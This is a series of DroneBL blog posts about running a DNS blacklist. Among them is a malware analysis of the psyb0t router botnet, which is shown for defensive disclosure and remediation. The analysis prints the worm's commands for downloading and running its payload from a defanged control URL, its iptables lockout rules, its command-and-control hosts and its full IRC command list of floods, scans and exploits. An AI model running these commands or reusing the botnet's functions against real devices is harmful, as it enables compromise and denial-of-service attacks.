As of this writing we have 503091 active and 569908 non-active listings, which is quite a lot to handle. So it's time for a late spring cleaning session.
We currently run a script against the database where regarding the non-active entries, per type only the last entry will remain. All other non-active entries will be permanently removed from the database.
Dear fellow irc admins,
We regulary notice that a few of you use branded lookups using network=NETWORK as parameter. Well, it would be very nice if you would change NETWORK to the NAME OF YOUR NETWORK ;)
Another thing, if you want a customized branded lookup with your logo/url/irc main server, send an email to the maintainer (thats me) and I will set it up, and again, don't forget to mention the name of your network.
Sorry for the downtime we had, but it turned out one of the nic's wasn't really working decently with xenserver, the ssd harddrive has been yanked out today and moved to a new enclosure (supermicro)
Many thanks to pcextreme for fixing this issue, and I hope we won't have these surprises anymore.
The amount of users fetching the zone through http have become quite a resource hog and I thought about getting rid of http downloads and moving all to rsync, which is way more effective and ensures accountability of whats really going on.
For transition purposes this won't be done immediately.
Therefore,http support for the zonefile will drop september 1st, 2013. Please switch to rsync, for more information see Rsync support
Yay, finally rbldnsd has decent ipv6 support (thanks to dairiki), and we are slowly migrating our rbl mirrors to use the new version also serving up our ipv6 zone. For the moment, you'll only get a reply on those queries if RR points you to the right server for now.
We know we had a lot of spambots filling up the blog with crap. This now ends!
After a few changes, moderation mode has been put in, meaning all posts made will need to be reviewed by a blog admin first.
A note to the spammers: Spam me and you will contribute to this list. And it's useless to try it, unless you want those kids to play games during worktime.
We now offer rsync access to the zonefiles, if you require access, send me a mail with the following details:
- The reason why you want rsync access to the zonefile
- A username:password pair you want to use for rsync access
Scraper has been modified to do a proxycheck when it finds a ip:port pair on the scraped page, those are getting verified using rizon's proxycheck code. If no port is found, it will still add them as type 17, otherwise as the type the scanner returns.
Dear ignorant system administrators,
Lately I am getting a lot of removal requests with comments in them that they fixed the email spam source while the reason they are listed is because their servers are usable as open proxy. The comment itself already shows you are not reading what the message above the removal request says and are simply filling in the form.
Lemme explain again what type 17 means. It is a collection of hosts found by scrapers on several proxy listing sites such as xroxy, spy.ru, several proxy blogspots, proxynova and similar sites, they or the submitters have tested your ip and found a way to use your server as proxy. They did not check if your mailserver allows relaying! So any excuse stating that you 'fixed' some spam issue is lame. Ok, it does make the recipients of the spam happy as they will no longer receive it from your servers, but not us, as the real issue why you have been listed is NOT spam. We got other classes for that (6 for example).
If you really can't find additional unwanted proc's on that box, check your damn apache if you use mod_proxy and check if thats the culprit by allowing a CONNECT statement. As you could have read in your apache documentation you should limit it in the following way (this is the case if you use stuff like chiliasp/tomcat/jsp/whatever proxied through apache):
deny from all
allow from <your network>
Another reason why you may have been listed as type 17 would be that an irc connection on a certain network has been found which has been associated to drone activity. So should the previous be not the case, then just fill in the removal request and ask. Also check your network for outgoing TCP connections towards ports 6667, or check if you got a process that generates IRC protocol specific requests like NICK/USER/JOIN/PRIVMSG/NOTICE/ISON using tcpdump or alikes.
Also remember that we only deal with requests from the responsible for that ip in question administrator, so if you are actually just a user on that box that wants to complain why he can't get on irc, then look in the mirror first if you know thats a proxy before even trying!
Maintainer of DroneBL
We had BOPM reports disabled for the reason that authentication became a problem. In fact, anybody could have added something to the DB without anyone knowing who did it.
2 DB resets, a hack, a miserable attempt by myself to mod bopm, having reporting disabled for more then a year, having quite some people nagging and asking 'Can we do BOPM reports yet' the answer now finally is: YES YOU CAN!
Today I saw that shiny LED Bulb floating above my head and thought: Why complex if the solution can be much more simple without modding BOPM?
The solution: set dnsbl_from in the format rpckey@yourdomain et voila, problem solved.
So all you users, naggers and friends: ENJOY
A few days ago I was contacted by merit.edu regarding if it was possible to include DroneBL's database for their RADB. Since RADB has a membership list of around 1500+ Internet Service Providers/Hostings and other interresting members, we agreed in the hope to improve communications between IP administrators and reporters.
For more information about merit see http://merit.edu
For more information about radb see http://www.radb.net
Type 17 is an experimental class used in order to submit ip's that for example have been found during proxylist scrapes.
In order not to pollute the database with too many entries, we added a condition that they only would get added if there is currently no active listing present regarding the ip.
However, the condition added did NOT work, and thus during the last days NO type 17's where submittable to the database, this has now been fixed AND tested.
Sorry for any inconvenience caused by this.
As of today, dronebl will send the removal requests to the in-db email record of the person who reported it.
In order to provide privacy to the keyholder we also wrote a small emailproxy, you can simply reply to the email using your normal client, as you will notice, it uses an email adres within the dronebl.org domain.
The emailproxy will remove the headers and recode the mail to appear from the system itself, users can also reply through that address using the same email adres.
Note: The subject has to remain intact, it's crucial that the [DroneBL #xxxx] remains in order for the proxy to lookup the addresses to send to.
Note2: Both reporter and requester have to use the email adress as used in the ticket to send from.
For reporter it's the email adress as associated to the RPC key.
For requester it's the email address as stated in the removal request.
If there are any issues, please lemme know.
As promised, we are working on an AS Administration interface. In order to apply for it, you need a RPC Key.
AS Admins have the same privileges as normal RPC Key users, with the difference that they can easily list the ip's affected within their ranges.
If you want to apply as AS admin, apply for a RPC Key first, please put the following information in the justification:
A list of the ASN's you manage
A username to login
The md5 sum of your password (use "echo -n password|md5sum" on your console or "select md5('password')" in mysql).
We will manually verify your access to the AS before acceptance and send a verification mail to the in WHOIS noted contacts.
If you are already own a RPC Key, send me an email with above details, same restrictions apply upon adding. Please specify your rpckey as verification in that case. Or contact me on IRC.
Existing key owners can also request a username and password if they want to be able to remove some of your entries straight through the website entries that way as well.
- I'm pissed at the kiddies who think ddos is fun.
- I'm pissed at hostings/providers not caring enough about their abuse@ mailbox. And I'm more pissed at customer service centers that act like nothing urgent is going on when you call them about their network being part in a DDoS attack.
- I'm pissed at hostings not checking creditcards and client information before accepting an order.
Internet needs a change, providers need to react faster in these days, they need to act more responsible and faster.
There should be a mechanism as endpoint to tell another endpoint in a fast way that you don't want their traffic, without needing to make a shitload of calls or send emails. Call it reverse firewalling. But that would in my opinion be a simple solution to stop ddos. Or at least stop making you feel it's effects.
<nenolod> you guys need moar blog updates
Good idea, however, there won't be much new blog entries as the system is pretty much self running lately. But at least lemme use this to post something about the changes that were done since William (nenolod) has left the admin ranks:
- The website is now accessible using both IPv4 and IPv6. However, DNSBL functionality is currently only possible for IPv4 for now.
- Mobile ranges are getting exempted, the reason for this is that mobile connections are way too dynamic in nature in order to have reliable listings.
- Site optimizations are done. Site should be way faster now (who thought that a simple counter could be the reason for the massive slowdowns), also the code has been relayouted internally for better reading (hail indenting!)
- Several insite policy changes (we had different CAPTCHA's in use on the site, changed to the one rojo used to make), also dnsbl listed users are now no longer able to make blog posts)
Crossposted from dronebl-discussion:
Due to time and emotional constraints, I will be discontinuing my work on DroneBL effective immediately. Alexander Maassen will be taking over operations of DroneBL. His IRC nickname is OUTsider, and many of you already know him.
I will, however, continue to provide hosting for DroneBL until such time that the community can make appropriate alternative hosting arrangements.
This means: do not contact me about DroneBL issues going forward, I will be unable to help you.
Coming to this decision has not been an easy process. While I have enjoyed my work on the project, it has become obvious to me that it has become a mature enough project that the community can steer it's future development focus. As such, it is now time for me to begin work on other endeavours.
Regards, William Pitcock (nenolod) The DroneBL Project
Yes, it's real. I wish OUTsider all the luck in the future to ensure the stability the IRC community expects from DroneBL.
This will be my last blog entry.
It has been brought to our attention that SORBS may be closing operations on July 20th due to the SORBS staff being unable to find new hosting arrangements.
SORBS is an essential DNS blacklist service for many users and services. Failure of this blacklist service is unacceptable at present.
Anyone who can provide help to the SORBS staff are encouraged to offer to do so.
There is an interesting project called proxyBL, that is in part based on the DroneBL codebase. It crawls open proxy lists and verifies them. Verified proxies are listed in their DNSBL at
We are in the process of upgrading our hardware for the frontend. Right now we are running in a Xen VM, but the database aspect of the service has outgrown that. So, we are upgrading to an HP Proliant DL360 G3 with 15000 RPM SCSI drives.
As a result, the website will be put into maintainance mode within the next 24 hours or so, and we will be migrating the site. It will probably take an hour or so.
Update: The frontend server has been migrated successfully. The old server will be used for miscellaneous administrivia such as our mercurial repository and incoming mail.
Network Bluepill - stealth router-based botnet has been DDoSing dronebl for the last couple of weeks
Below is a description of a botnet we found in the wild. However,
Update 4 -- Before you read anything else, read this
Am I Vulnerable?
You are only vulnerable if:
- Your device is a mipsel (MIPS running in little-endian mode, this is what the worm is compiled for) device.
- Your device also has telnet, SSH or web-based interfaces available to the WAN, and
- Your username and password combinations are weak, OR the daemons that your firmware uses are exploitable.
As such, 90% of the routers and modems participating in this botnet are participating due to user-error (the user themselves or otherwise). Unfortunately, it seems that some of the people covering this botnet do not understand this point, and it is making us look like a bunch of idiots.
Any device that meets the above criteria is vulnerable, including those built on custom firmware such as OpenWRT and DD-WRT. If the above criteria is not met, then the device is NOT vulnerable.
How can I tell if I have been infected?
Ports 22, 23 and 80 are blocked as part of the infection process (but NOT as part of the rootkit itself, running the rootkit itself will not alter your iptables configuration).
If these ports are blocked, you should perform a hard reset on your device, change the administrative passwords, and update to the latest firmware. These steps will remove the rootkit and ensure that your device is not reinfected.
Public Relations and Us
We deal with botnets and abusive hosts, not PR.
We are quite concerned that not many people have (there have been a few, but the majority of the people have used the 'slashdot version') contacted us, or anybody else working on this for further information or to verify if their conclusions written in their articles were correct. Many articles described this as a "end of the world, all routers are vulnerable" thing. This is simply not the case. We would prefer if you contact us if you do not understand fully now.
Commentary found on the Internet about "this rootkit is fake", or "it doesn't run on my ubuntu box", or "UPX doesn't unpack it"
Ok, first off, this binary is for MIPS-based processors, which are not X86 (the kind used in the average PC).
Secondly, this binary IS packed with UPX, but he has stripped the headers necessary to decompress it. A little time with a hex editor can get you the decompressed binary, as can just running it in qemu.
Commentary on "why isnt Law Enforcement involved"
Many botnet investigations are handled by the private sector. This is one of those investigations. If a Law Enforcement agency is interested in our work, or the work of anybody else researching this worm, then they should be encouraged to email firstname.lastname@example.org about it. If we have any useful information they don't already know, we will be more than happy to provide it.
Commentary on "is device X vulnerable?"
Short answer: We don't know. There are so many devices out there that we could not possibly know.
Your best bet would be to take action to upgrade the device firmware and secure any passwords if there is concern that the device may be vulnerable. Such actions will help to avoid exploitation by the worm.
The worm info itself
We have come across a botnet worm spreading around called "psyb0t". It is notable because, according to my knowledge, it:
- is the first botnet worm to target routers and DSL modems
- contains shellcode for many mipsel devices
- is not targeting PCs or servers
- uses multiple strategies for exploitation, including bruteforce username and password combinations
- harvests usernames and passwords through deep packet inspection
- can scan for exploitable phpMyAdmin and MySQL servers
- any linux mipsel routing device that has the router administration interface or sshd or telnetd in a DMZ, which has weak username/passwords (including openwrt/dd-wrt devices).
- possibly others
Get a shell on the vulnerable device (methods vary). Once a shell is acquired, the bot does the following things:
# rm -f /var/tmp/udhcpc.env
If wget is present, then it uses wget to download hxxp://dweb.webhop.net/.bb/udhcpc.env , and runs it in the background.
If wget is not present, the bot looks for "busybox ftpget", and then tries falling back to a tftp client. Once it is downloaded, it launches it in the background. The following snippet is the variant it uses if it finds that wget is usable.
# wget hxxp://dweb.webhop.net/.bb/udhcpc.env -P /var/tmp && chmod +x /var/tmp/udhcpc.env && /var/tmp/udhcpc.env &
udhcpc.env 100% |*****************************| 33744 00:00 ETA
It then takes several steps to lock anybody out of the device, including blocking telnet, sshd and web ports.
# iptables -A INPUT -p tcp --dport 23 -j DROP
# iptables -A INPUT -p tcp --dport 22 -j DROP
# iptables -A INPUT -p tcp --dport 80 -j DROP
This concludes the infection process.
IRC BotnetCommand and control server: strcpy.us.to
IP: 184.108.40.206 (master controller, Windstream Communications AS16687)
IP: 220.127.116.11 (backup controller? HKnet/REACH AS?????)
DroneURL: hxxp://nenolod.net/~nenolod/psyb0t/udhcpc.env (backup copy, i did not write it)
strcpy.us.to control domain nameservers: ns1.afraid.org, ns2.afraid.org, ns3.afraid.org, ns4.afraid.org [suspended]
IRC Commands.mode <channel> <modes> - sets a mode on a channel
.login <password> - login to the bot
.logout - logout
.exit - causes the botnet to exit and remove itself
.sh <command> - runs <command> on shell
.tlist - lists all threads
.kill - kills a thread
.killall <pattern> - kills threads by glob-match pattern
.silent - makes the bot stop sending to channel
.getip - show bot WAN ip address
.visit <url> - flood URL with GET requests
.scan - scans a random range for vulnerable routers/modems
.rscan <range> - scans a CIDR range for vulnerable routers/modems
.lscan - scans the local subnet for vulnerable routers/modems
.lrscan - scans a range in the local subnet for vulnerable routers/modems
.split <threadid> - splits the workload of a scan thread into two threads
.sql <range> <url> - scans for vulnerable MySQL servers and attempts to make them download and run URL
.pma <range> <url> - scans for vulnerable phpMyAdmin and attempts to make them download and run URL
.sleep <secs> - makes the bot sleep for the given time
.sel - ???
.esel - skip next part if locale is not X
.vsel - skip next part if version is not X
.gsel - ???
.rejoin [delay] - cycle the channel after delay
.upgrade - download new bot from the distribution site
.ver - returns "[PRIVATE] PSYB0T" followed by version
.rs - returns detected rapidshare URLs and logins
.rsgen - generate a bogus rapidshare login page and force user to browse to it
.rsloop <port> - runs a webserver i/o loop on <port> as a thread
.wget <url> - runs wget with the provided url
.r00t - attempts to raise effective UID using vmsplice() exploit (seems pointless)
.sflood <ip> <count> - sends SYN packets to IP
.uflood <ip> <count> - sends UDP packets to IP
.iflood <ip> <count> - sends ICMP pings to IP
.pscan <ip> - portscans IP
.fscan <ip> - tries to bruteforce FTP server at IP
As stated above, this is the first known botnet based on exploiting consumer network devices, such as home routers and cable/dsl modems. Many devices appear to be vulnerable. The size of this botnet so far cannot be determined.
The author of this worm has some sophisticated programming knowledge, given the nature of this executable.
Action must be taken immediately to stop this worm before it grows much larger.
We came across this botnet as part of an investigation into the DDoS attacks against DroneBL's infrastructure two weeks ago, and feel that this botnet was the one which flooded DroneBL.
We are looking into finding out more information about this botnet, and its controller. If you have any information, we would like to know.
If you intend to disassemble this botnet, you should note it's UPX-compressed.
I estimate that at the time of writing, there is at least 100,000 hosts infected.
I suspect that the .sql and .pma exploit tools are used for finding more controllers. But I do not have the controller payload.
This technique is one to be extremely concerned about because most end users will not know their network has been hacked, or that their router is exploited. This means that in the future, this could be an attack vector for the theft of personally identifying information. This technique will certainly not be going away.
Some prior research about an earlier version has been found here. This research was done by Terry Baume.
This botnet has apparently been shutdown:* Now talking on #mipsel
* Topic for #mipsel is: .silent on .killall .exit ._exit_ .Research is over:
for those interested i reached 80K. That was fun :), time to get back to the real life... (To the DroneBL guys:
I never DDOSed/Phished anybody or peeked on anybody's private data for that matter)
* Topic for #mipsel set by DRS at Sun Mar 22 17:02:15 2009
While this information may or may not be true, we have received HTTP-based floods from IPs participating in this botnet.
We are still interested in this DRS person. If you have any information, please provide it to DroneBL. We will not disclose our sources.
We also hope that the router and modem manufacturers which have been monitoring this incident take note of it and secure their firmware from future attacks.
Update 3 (Disinfection Instructions)
We have been getting asked a lot about disinfection instructions.
To disinfect, simply powercycle your device and take appropriate action to lock it down, including the latest firmware updates, and using a secure password.
Earlier today, Mibbit was listed in DroneBL. This seems to ultimately have been a side effect of a glitch that happened when we converted the database to PostgreSQL, and only affected a handful of IPs, including mibbits -- Mibbit was listed in DroneBL as a proxy back in December, if anybody remembers.
Anyway, we have decided to give Mibbit a whitelist exception today, so this will not cause any disruption in the future for a service the size of Mibbit.
Some people have taken offense to the fact that we have whitelisted Mibbit, so I would like to explain why we made this decision.
DroneBL has never targeted hosts that can be blocked as a matter of policy. Examples here include TOR exit-nodes, which can be blocked by using tor.ahbl.org, or the newer exitnodes.tor-project.org service. We feel that Mibbit can be blocked by banning the IPs of their backend servers from your service.
While Mibbit technically is an open HTTP proxy, in some respects, and can be abused by enterprising trolls, it is a service that is mostly blockable by setting a local policy to not allow egress traffic from their server to yours, be this through firewalling them or akilling them from the IRC server level.
Anyway, the point is, DroneBL does not target services which can be blocked by means of policy. So, we have decided to whitelist Mibbit for this reason.
Please note that while we are whitelisting Mibbit, it does not mean that Mibbit wont be banned through other services. It just means it wont be banned through DroneBL.
We have switched to using postgresql. Let us know if anything is unusual.
On Feb-17-2009 23:08:45 GMT, we hit 100000 active listings.
A new server has been added to our RBLDNS pool. It is sponsored by Support Intelligence, Inc., a security firm which provides incident monitoring of networks. Thanks!
The types of services that DroneBL caters to (online real-time communities) have common problems of spamming and griefing (abusive threats toward what are usually administrators or channel owners, likely due to being banned for violations of community rules). In fact, in some cases the spam activity itself is a form of internet griefing.
On this topic, I wrote the following on the irc-security list, which I want to expand on here, because we intend to experiment with ways to deal with these problems next:What we need to stop this undesired behaviour is extensive solidarity, in many forms: 1) Services like DroneBL. These services can be used to stop his spambot, by listing his IP immediately upon reports of spam. Approximately more than 90% of known networks are using DroneBL as a reference for banning. By adding his source IPs, this reduces his attack vector by at least 90%. 2) Making it very clear that the IRC community will not condone networks that harbour or condone his behaviour, or even worse, encourage as is the current situation. In the current situation, the owner of irc.darkscience.ws has been seen as saying that ep0ch is a friend of his, and that he fully supports the activity. By speaking loudly to upstream providers of this network and pursuing suspensions, this behaviour will likely be curbed. 3) Making it very clear that the IRC community will not condone service providers which profit from networks/servers benefiting from spam. The IRC community has a voice with DroneBL, and other services like it, to ensure that there are harsh penalties for service providers which harbour spam sources or beneficiaries. While I do not typically believe in community lynchings of net trash, if we really want this behaviour to stop, we must become more aggressive in ensuring that it is infact stopped. That said, we should be very careful that networks being spammed by people like ep0ch are not victims themselves before taking direct action. But, the basic idea is, "if you spam on IRC, there will be a penalty." Or, something like that. Thoughts? Maybe I am just rambling crackaddled thoughts here?
A large part of the problem is that there is no system for tracking the people behind the abuse. Without such an effort, there is no way that the communities DroneBL provides services to can deal with stopping them in some sense of full solidarity.
So, we need a system to deal with griefers like the person I describe on irc-security in that post. Is DroneBL itself that system? No!
But, is such a system related to the mission of DroneBL? Yes, it is. However, such a system needs to be designed where the community can collaborate on collecting as much evidence of abuse as possible. Collection of large dossiers of abuse against IRC spammers and griefers will be helpful in taking action with abuse desks at ISPs.
But what about ISPs that do not care? Obviously, we cannot ban AT&T, but we can for instance, pressure service providers to do the right thing. For example, a shell provider hosting services belonging to the spammer, could be convinced to drop the spammer's account. In such a case, the abuser would have less resources to use for causing trouble.
Also by having a service which tracks the people behind the netabuse, we can put pressure on them to do the right thing and discontinue their abusive activities.
So, the question is, if I made a service which tracked people, making them no longer anonymous, and providing the IRC community with the ability to make it clear that there will be a consequence for these abusers, would people actually use it to make the consequence effective?
What would need to be done to make such a service, and it's consequence effective? Is the IRC community willing to cooperate to make such a service effective and trustworthy? We need to make sure we are truly banning dirt, such a system could be used as a tool for vengeance and revenge easily, if created with the wrong policies.
I would love to hear thoughts (in the form of lovely comments, especially). This is a tricky situation, and if we, as a community work on making it happen, we should make sure we get it right the first time.
Through a series of unfortunate circumstances, the DroneBL database was lost. The blacklist was successfully imported from a mirror, and should be back the way it was before the crash.
However, RPCkeys were lost and should be re-requested. If you wish to continue using the same RPCkey you have been using, please visit us in #dronebl on irc.atheme.org. State your purpose in the channel, and a DroneBL staff member will address your request as soon as possible. Otherwise, feel free to use the key request page.
Thank you for your patience, and thanks to the DroneBL staff members who worked diligently to restore the DroneBL service with very little downtime.